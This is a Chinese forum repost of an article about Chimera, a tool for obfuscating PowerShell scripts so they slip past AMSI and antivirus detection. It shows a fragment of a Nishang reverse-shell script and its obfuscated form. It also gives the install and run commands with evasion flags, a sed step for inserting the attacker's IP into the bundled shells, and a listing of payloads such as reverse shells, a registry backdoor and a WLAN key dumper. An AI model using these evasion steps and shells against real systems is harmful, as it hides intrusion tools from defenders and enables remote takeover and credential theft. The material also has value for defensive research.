搜索

[16121] 2020-11-22_如何用Chimera进行PowerShell脚本混淆

文档创建者：s7ckTeam
浏览次数：31
最后更新：2025-01-18
2020-11-22_如何用Chimera进行PowerShell脚本混淆 如 何 用 C h i m e r a 进 行 P o w e r S h e l l 脚 本 混 淆 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 1 - 2 2 C h i m e r a C h i m e r a 是 一 款 针 对 P o w e r S h e l l 脚 本 代 码 的 混 淆 工 具 ， 广 大 研 究 人 员 可 以 利 用 C h i m e r a 来 对 自 己 的 P o w e r S h e l l 脚 本 代 码 进 行 混 淆 处 理 ， 并 绕 过 目 标 设 备 的 A M I S 和 其 他 反 病 毒 解 决 方 案 。 该 工 具 可 以 通 过 字 符 串 替 换 和 变 量 连 接 来 规 避 常 见 的 签 名 检 测 ， 并 让 恶 意 的 P o w e r S h e l l 脚 本 无 法 触 发 A V 检 测 。 C h i m e r a 的 主 要 目 标 是 帮 助 大 家 更 好 地 实 现 反 病 毒 产 品 的 恶 意 脚 本 绕 过 ， 它 也 进 一 步 证 明 了 绕 过 A V 检 测 其 实 是 非 常 简 单 的 一 件 事 情 ， 希 望 C h i m e r a 能 够 激 发 社 区 中 的 各 位 研 究 人 员 去 构 建 出 更 加 健 壮 可 靠 的 东 西 。 C h i m e r a 运 行 机 制 运 行 机 制 下 面 给 出 的 的 是 N i s h a n g 的 I n v o k e - P o w e r S h e l l T c p . p s 1 脚 本 的 代 码 段 ， V i r u s T o t a l 的 检 测 结 果 如 下 ： $ s t r e a m   =   $ c l i e n t . G e t S t r e a m ( ) [ b y t e [ ] ] $ b y t e s   =   0 . . 6 5 5 3 5 | % { 0 } # S e n d   b a c k   c u r r e n t   u s e r n a m e   a n d   c o m p u t e r n a m e $ s e n d b y t e s   =   ( [ t e x t . e n c o d i n g ] : : A S C I I ) . G e t B y t e s ( " W i n d o w s   P o w e r S h e l l   r u n n i n g   a s   u s e r   "   +   $ e n v : u s e r n a m e   +   "   o n   "   +   $ e n v : c o m p u t e r n a m e   +   " ` n C o p y r i g h t   ( C )   2 0 1 5   M i c r o s o f t   C o r p o r a t i o n .   A l l   r i g h t s   r e s e r v e d . ` n ` n " ) $ s t r e a m . W r i t e ( $ s e n d b y t e s , 0 , $ s e n d b y t e s . L e n g t h ) # S h o w   a n   i n t e r a c t i v e   P o w e r S h e l l   p r o m p t $ s e n d b y t e s   =   ( [ t e x t . e n c o d i n g ] : : A S C I I ) . G e t B y t e s ( ' P S   '   +   ( G e t - L o c a t i o n ) . P a t h   +   ' > ' ) $ s t r e a m . W r i t e ( $ s e n d b y t e s , 0 , $ s e n d b y t e s . L e n g t h )
接 下 来 ， 经 过 C h i m e r a 的 处 理 之 后 ， V i r u s T o t a l 针 对 该 脚 本 的 混 淆 版 本 的 检 测 结 果 如 下 ： #   W a t c h e d   a n x i o u s l y   b y   t h e   R e b e l   c o m m a n d ,   t h e   f l e e t   o f   s m a l l ,   s i n g l e - p i l o t   f i g h t e r s   s p e e d s   t o w a r d   t h e   m a s s i v e ,   i m p r e g n a b l e   D e a t h   S t a r .                             $ x d g I P k C c K m v q o X A Y K a O i P d h K X I s F B D o v   =   $ j Y O D N A b v r c Y M G a A n Z H Z w E . " $ b n y E O f z N c Z k k u o g k q g K b f m m k v B $ Z S s h n c Y v o H K v l K T E a n A h J k p K S I x Q K k T Z J B E a h F z $ K K A p R D t j B k Y f J h i V U D O l R x L H m O T O r a a p T A L S " ( )               #   A s   t h e   s t a t i o n   s l o w l y   m o v e s   i n t o   p o s i t i o n   t o   o b l i t e r a t e   t h e   R e b e l s ,   t h e   p i l o t s   m a n e u v e r   d o w n   a   n a r r o w   t r e n c h   a l o n g   t h e   s t a t i o n ’ s   e q u a t o r ,   w h e r e   t h e   t h e r m a l   p o r t   l i e s   h i d d e n .                     [ b Y t e [ ] ] $ m O m M D i A f d J w k l S z J C U F z c U m j O N t N W N   =   0 . . 6 5 5 3 5 | % { 0 }       #   D a r t h   V a d e r   l e a d s   t h e   c o u n t e r a t t a c k   h i m s e l f   a n d   d e s t r o y s   m a n y   o f   t h e   R e b e l s ,   i n c l u d i n g   L u k e ’ s   b o y h o o d   f r i e n d   B i g g s ,   i n   s h i p - t o - s h i p   c o m b a t .     #   F i n a l l y ,   i t   i s   u p   t o   L u k e   h i m s e l f   t o   m a k e   a   r u n   a t   t h e   t a r g e t ,   a n d   h e   i s   s a v e d   f r o m   V a d e r   a t   t h e   l a s t   m i n u t e   b y   H a n   S o l o ,   w h o   r e t u r n s   i n   t h e   n i c k   o f   t i m e   a n d   s e n d s   V a d e r   s p i n n i n g   a w a y   f r o m   t h e   s t a t i o n .                       #   H e e d i n g   B e n ’ s   d i s e m b o d i e d   v o i c e ,   L u k e   s w i t c h e s   o f f   h i s   c o m p u t e r   a n d   u s e s   t h e   F o r c e   t o   g u i d e   h i s   a i m .       #   A g a i n s t   a l l   o d d s ,   L u k e   s u c c e e d s   a n d   d e s t r o y s   t h e   D e a t h   S t a r ,   d e a l i n g   a   m a j o r   d e f e a t   t o   t h e   E m p i r e   a n d   s e t t i n g   h i m s e l f   o n   t h e   p a t h   t o   b e c o m i n g   a   J e d i   K n i g h t .                       $ P q J f K J L V E g P d f e m Z P p u J O T P I L Y i s f Y H x U q m m j U l K k q K   =   ( [ t e X t . e n C o D I n G ] : : A s C I I ) . " $ m b K d o t K J j M W J h A i g n l H U S $ G h P Y z r T h s g Z e B P k k x V K p f N v F P X a Y N q O L B m " ( " W I n D o w s   P o w e r s h e l l   r U n n I n G   A s   U s e r   "   +   $ T g D X k B A D x b z E s K L W O w P o F : U s e r n A M e   +   "   o n   "   +   $ T g D X k B A D x b z E s K L W O w P o F : C o M P U t e r n A M e   +   " ` n C o P Y r I G h t   ( C )   2 0 1 5   M I C r o s o f t   C o r P o r A t I o n .   A l l   r I G h t s   r e s e r v e D . ` n ` n " ) #   F a r   o f f   i n   a   d i s t a n t   g a l a x y ,   t h e   s t a r s h i p   b e l o n g i n g   t o   P r i n c e s s   L e i a ,   a   y o u n g   m e m b e r   o f   t h e   I m p e r i a l   S e n a t e ,   i s   i n t e r c e p t e d   i n   t h e   c o u r s e   o f   a   s e c r e t   m i s s i o n   b y   a   m a s s i v e   I m p e r i a l   S t a r   D e s t r o y e r .                         $ x d g I P k C c K m v q o X A Y K a O i P d h K X I s F B D o v . W r I t e ( $ P q J f K J L V E g P d f e m Z P p u J O T P I L Y i s f Y H x U q m m j U l K k q K , 0 , $ P q J f K J L V E g P d f e m Z P p u J O T P I L Y i s f Y H x U q m m j U l K k q K . L e n G t h )       #   A n   i m p e r i a l   b o a r d i n g   p a r t y   b l a s t s   i t s   w a y   o n t o   t h e   c a p t u r e d   v e s s e l ,   a n d   a f t e r   a   f i e r c e   f i r e f i g h t   t h e   c r e w   o f   L e i a ’ s   s h i p   i s   s u b d u e d .
C h i m e r a 会 对 脚 本 源 代 码 进 行 多 种 混 淆 处 理 ， t r a n s f o r m e r 函 数 会 将 一 个 字 符 串 分 割 成 多 个 部 分 ， 并 将 它 们 重 构 成 新 的 变 量 。 比 如 说 ， 它 会 获 取 到 类 似 “ …   N e w - O b j e c t   S y s t e m . N e t . S o c k e t s . T C P C l i e n t   … ” 这 样 的 字 符 串 ， 然 后 把 它 转 换 成 下 列 形 式 ： 函 数 会 将 常 简 的 数 据 类 型 和 字 符 串 转 换 成 多 个 数 据 块 ， 然 后 在 对 这 些 数 据 块 进 行 串 联 。 — l e v e l 参 数 可 以 将 目 标 字 符 串 切 分 成 更 小 的 数 据 块 和 更 多 的 变 量 ： 工 具 下 载 工 具 下 载 广 大 研 究 人 员 可 以 使 用 下 列 命 令 下 载 和 安 装 C h i m e r a ， 并 查 看 工 具 的 帮 助 信 息 （ 已 在 K a l i   v 2 0 2 0 . 3 版 本 上 进 行 过 测 试 ） ： $ a   =   " S y s t e " $ b   =   " m . N e t . S o c " $ c   =   " k e t s . T C P " $ d   =   " C l i e n t " . . .   N e w - O b j e c t   $ a $ b $ c $ d   . . . $ C N i J f m Z z z Q r q Z z q K q u e O B c U V z m k V b l l c E q j r b c a Y z T M M d   =   " ` m " $ q u i y j q G d h Q Z g Y F R d K p D G G y W N l A j v P C x Q T T b m F k v T m y B   =   " t ` R e a " $ J K f l r R l l A q g R l H Q I U z O o y O U E q V u V r q q C K d u a   =   " G e t ` s " $ G d a v W o s z H w D V J m p Y w q E w e Q s I A z   =   " t i ` O N " $ x c D W T D l v c J f v D Z C a s d T n W G v M X k R B K O C G E A N J p U X D y j P o b   =   " ` L ` O ` C a " $ z v l O G d E J V s P N B D w f K F W p v F Y v l g J X D v I U g T n Q   =   " ` G e t ` - " $ k v f T o g U X U x M f C o x B i k P w W g w H r v N O w j o B x x t o   =   " ` i " $ t J d N e N X d A N B e m Q K e U j y l m l O b t Y p   =   " ` A s C ` i " $ m h t A t R r y d L l Y B t t E n v x u W k A Q P T j v t F P w O   =   " ` G " $ P X I u U K z h M N D U Y G Z K q f t v p A i Q   =   " t ` R ` i N
基 本 使 用 基 本 使 用 S h e l l s 在 该 工 具 的 s h e l l s / 目 录 下 ， 包 含 了 一 个 N i s h a n g 脚 本 和 一 些 通 用 脚 本 ， 所 有 的 脚 本 都 已 经 经 过 测 试 并 且 可 以 正 常 工 作 。 别 忘 了 ， 在 使 用 之 前 我 们 需 要 修 改 脚 本 代 码 中 硬 编 码 的 I P 地 址 ： 工 具 运 行 演 示 工 具 运 行 演 示 s u d o   a p t - g e t   u p d a t e   & &   s u d o   a p t - g e t   i n s t a l l   - V y   s e d   x x d   l i b c - b i n   c u r l   j q   p e r l   g a w k   g r e p   c o r e u t i l s   g i t s u d o   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / t o k y o n e o n / c h i m e r a   / o p t / c h i m e r a s u d o   c h o w n   $ U S E R : $ U S E R   - R   / o p t / c h i m e r a / ;   c d   / o p t / c h i m e r a / s u d o   c h m o d   + x   c h i m e r a . s h ;   . / c h i m e r a . s h   - - h e l p . / c h i m e r a . s h   - f   s h e l l s / I n v o k e - P o w e r S h e l l T c p . p s 1   - l   3   - o   / t m p / c h i m e r a . p s 1   - v   - t   p o w e r s h e l l , w i n d o w s , c o p y r i g h t   - c   - i   - h   - s   l e n g t h , g e t - l o c a t i o n , a s c i i , s t o p , c l o s e , g e t s t r e a m   - b   n e w - o b j e c t , r e v e r s e , i n v o k e - e x p r e s s i o n , o u t - s t r i n g , w r i t e - e r r o r   - j   - g   - k   - r   - p s e d   - i   ' s / 1 9 2 . 1 6 8 . 5 6 . 1 0 1 / < Y O U R - I P - A D D R E S S > / g '   s h e l l s / * . p s 1 l s   - l a R   s h e l l s / s h e l l s / : t o t a l   6 0 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n   1 7 2 7   A u g   2 9   2 2 : 0 2   g e n e r i c 1 . p s 1 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n   1 4 3 3   A u g   2 9   2 2 : 0 2   g e n e r i c 2 . p s 1 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n     7 3 4   A u g   2 9   2 2 : 0 2   g e n e r i c 3 . p s 1 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n   4 1 7 0   A u g   2 9   2 2 : 0 2   I n v o k e - P o w e r S h e l l I c m p . p s 1 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n     2 8 1   A u g   2 9   2 2 : 0 2   I n v o k e - P o w e r S h e l l T c p O n e L i n e . p s 1 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n   4 4 0 4   A u g   2 9   2 2 : 0 2   I n v o k e - P o w e r S h e l l T c p . p s 1 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n     5 9 4   A u g   2 9   2 2 : 0 2   I n v o k e - P o w e r S h e l l U d p O n e L i n e . p s 1 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n   5 7 5 4   A u g   2 9   2 2 : 0 2   I n v o k e - P o w e r S h e l l U d p . p s 1 d r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n   4 0 9 6   A u g   2 8   2 3 : 2 7   m i s c - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n     6 1 6   A u g   2 9   2 2 : 0 2   p o w e r s h e l l _ r e v e r s e _ s h e l l . p s 1 s h e l l s / m i s c : t o t a l   3 6 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n   1 7 5 7   A u g   1 2   1 9 : 5 3   A d d - R e g B a c k d o o r . p s 1 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n   3 6 4 8   A u g   1 2   1 9 : 5 3   G e t - I n f o r m a t i o n . p s 1 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n     6 7 2   A u g   1 2   1 9 : 5 3   G e t - W L A N - K e y s . p s 1 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n   4 4 3 0   A u g   2 8   2 3 : 3 1   I n v o k e - P o r t S c a n . p s 1 - r w x r w x - - -   1   t o k y o n e o n   t o k y o n e o n   6 7 6 2   A u g   2 9   0 0 : 2 7   I n v o k e - P o s h R a t H t t p . p s 1
项 目 地 址 项 目 地 址 C h i m e r a ： 【 G i t H u b 传 送 门 】 （ 阅 读 原 文 查 看 ） （ 阅 读 原 文 查 看 ） 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理